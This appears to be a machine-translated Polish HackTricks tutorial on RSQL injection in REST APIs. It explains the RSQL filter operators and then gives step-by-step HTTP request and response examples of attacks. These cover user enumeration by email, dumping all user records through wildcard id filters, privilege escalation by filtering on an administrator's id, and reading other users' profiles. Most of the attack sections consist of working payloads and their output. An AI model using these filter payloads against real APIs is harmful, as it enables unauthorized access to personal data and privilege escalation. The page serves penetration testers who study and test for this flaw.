RSQL Injection
Reading time: 14 minutes
RSQL Injection
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
RSQL Injection
Czym jest RSQL?
RSQL to język zapytań zaprojektowany do parametryzowanego filtrowania danych wejściowych w RESTful API. Oparty na FIQL (Feed Item Query Language), pierwotnie określonym przez Marka Nottingham'a do zapytań o kanały Atom, RSQL wyróżnia się prostotą i zdolnością do wyrażania złożonych zapytań w kompaktowy i zgodny z URI sposób przez HTTP. Czyni to go doskonałym wyborem jako ogólny język zapytań do wyszukiwania w punktach końcowych REST.
Przegląd
RSQL Injection to luka w aplikacjach internetowych, które używają RSQL jako języka zapytań w RESTful API. Podobnie jak SQL Injection i LDAP Injection, ta luka występuje, gdy filtry RSQL nie są odpowiednio oczyszczane, co pozwala atakującemu na wstrzykiwanie złośliwych zapytań w celu uzyskania dostępu, modyfikacji lub usunięcia danych bez autoryzacji.
Jak to działa?
RSQL pozwala na budowanie zaawansowanych zapytań w RESTful API, na przykład:
/products?filter=price>100;category==electronics
To przetłumaczy na uporządkowane zapytanie, które filtruje produkty o cenie większej niż 100 i kategorii „elektronika”.
Jeśli aplikacja nieprawidłowo waliduje dane wejściowe użytkownika, atakujący może manipulować filtrem, aby wykonać nieoczekiwane zapytania, takie jak:
/products?filter=id=in=(1,2,3);delete_all==true
Or even take advantage to extract sensitive information with Boolean queries or nested subqueries.
Ryzyko
- Ekspozycja danych wrażliwych: Atakujący może uzyskać informacje, które nie powinny być dostępne.
- Modyfikacja lub usunięcie danych: Wstrzyknięcie filtrów, które zmieniają rekordy w bazie danych.
- Escalacja uprawnień: Manipulacja identyfikatorami, które przyznają role przez filtry, aby oszukać aplikację, uzyskując dostęp z uprawnieniami innych użytkowników.
- Unikanie kontroli dostępu: Manipulacja filtrami w celu uzyskania dostępu do zastrzeżonych danych.
- Podszywanie się lub IDOR: Modyfikacja identyfikatorów między użytkownikami przez filtry, które pozwalają na dostęp do informacji i zasobów innych użytkowników bez odpowiedniej autoryzacji.
Obsługiwane operatory RSQL
Operator | Opis | Przykład |
---|---|---|
; / and | Logiczny operator AND. Filtruje wiersze, gdzie oba warunki są prawdziwe | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | Logiczny operator OR. Filtruje wiersze, gdzie przynajmniej jeden warunek jest prawdziwy | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | Wykonuje zapytanie równości. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA dokładnie równe są queryValue | /api/v2/myTable?q=columnA==queryValue |
=q= | Wykonuje zapytanie wyszukiwania. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA zawierają queryValue | /api/v2/myTable?q=columnA=q=queryValue |
=like= | Wykonuje zapytanie jak. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są podobne do queryValue | /api/v2/myTable?q=columnA=like=queryValue |
=in= | Wykonuje zapytanie in. Zwraca wszystkie wiersze z myTable, gdzie columnA zawiera valueA LUB valueB | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | Wykonuje zapytanie wyklucz. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA nie są ani valueA, ani valueB | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | Wykonuje zapytanie nie równa się. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA nie są równe queryValue | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | Wykonuje zapytanie nie jak. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA nie są podobne do queryValue | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | Wykonuje zapytanie mniejsze niż. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są mniejsze niż queryValue | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | Wykonuje zapytanie mniejsze niż lub równe. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są mniejsze lub równe queryValue | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | Wykonuje zapytanie większe niż. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są większe niż queryValue | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | Wykonuje zapytanie równe lub większe niż. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są równe lub większe niż queryValue | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | Wykonuje zapytanie od do. Zwraca wszystkie wiersze z myTable, gdzie wartości w columnA są równe lub większe niż fromValue, i mniejsze lub równe toValue | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
Uwaga: Tabela oparta na informacjach z aplikacji MOLGENIS i rsql-parser.
Przykłady
- name=="Kill Bill";year=gt=2003
- name=="Kill Bill" and year>2003
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
Uwaga: Tabela oparta na informacjach z aplikacji rsql-parser.
Wyciek informacji i enumeracja użytkowników
Następujące zapytanie pokazuje punkt końcowy rejestracji, który wymaga parametru email, aby sprawdzić, czy istnieje jakikolwiek użytkownik zarejestrowany pod tym adresem e-mail i zwrócić wartość prawda lub fałsz w zależności od tego, czy istnieje w bazie danych:
Zapytanie
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Odpowiedź
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
Chociaż oczekiwane jest /api/registrations?email=<emailAccount>
, możliwe jest użycie filtrów RSQL do próby enumeracji i/lub wydobywania informacji o użytkownikach za pomocą specjalnych operatorów:
Request
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Odpowiedź
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
W przypadku dopasowania ważnego konta e-mail, aplikacja zwróci informacje o użytkowniku zamiast klasycznego „true”, "1" lub czegokolwiek innego w odpowiedzi do serwera:
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Odpowiedź
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
Ominięcie autoryzacji
W tym scenariuszu zaczynamy od użytkownika z podstawową rolą, w którym nie mamy uprawnień uprzywilejowanych (np. administratora) do uzyskania dostępu do listy wszystkich użytkowników zarejestrowanych w bazie danych:
Żądanie
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Odpowiedź
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Ponownie wykorzystujemy filtry i specjalne operatory, które pozwolą nam na alternatywny sposób uzyskania informacji o użytkownikach i ominięcia kontroli dostępu. Na przykład, filtruj według tych użytkowników, którzy zawierają literę “a” w swoim ID użytkownika:
Request
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Odpowiedź
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
Eskalacja uprawnień
Bardzo prawdopodobne jest znalezienie określonych punktów końcowych, które sprawdzają uprawnienia użytkownika na podstawie jego roli. Na przykład mamy do czynienia z użytkownikiem, który nie ma uprawnień:
Żądanie
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Odpowiedź
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
Używając określonych operatorów, możemy enumerować użytkowników administratorów:
Request
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Odpowiedź
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
Po poznaniu identyfikatora użytkownika administratora, możliwe byłoby wykorzystanie eskalacji uprawnień poprzez zastąpienie lub dodanie odpowiedniego filtra z identyfikatorem administratora i uzyskanie tych samych uprawnień:
Request
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Odpowiedź
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......
Impersonacja lub Niebezpieczne Bezpośrednie Odwołania do Obiektów (IDOR)
Oprócz użycia parametru filter
, możliwe jest użycie innych parametrów, takich jak include
, który pozwala na uwzględnienie w wyniku określonych parametrów (np. język, kraj, hasło...).
W poniższym przykładzie pokazane są informacje o naszym profilu użytkownika:
Żądanie
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Odpowiedź
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Kombinacja filtrów może być użyta do ominięcia kontroli autoryzacji i uzyskania dostępu do profili innych użytkowników:
Request
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Odpowiedź
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
Odniesienia
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.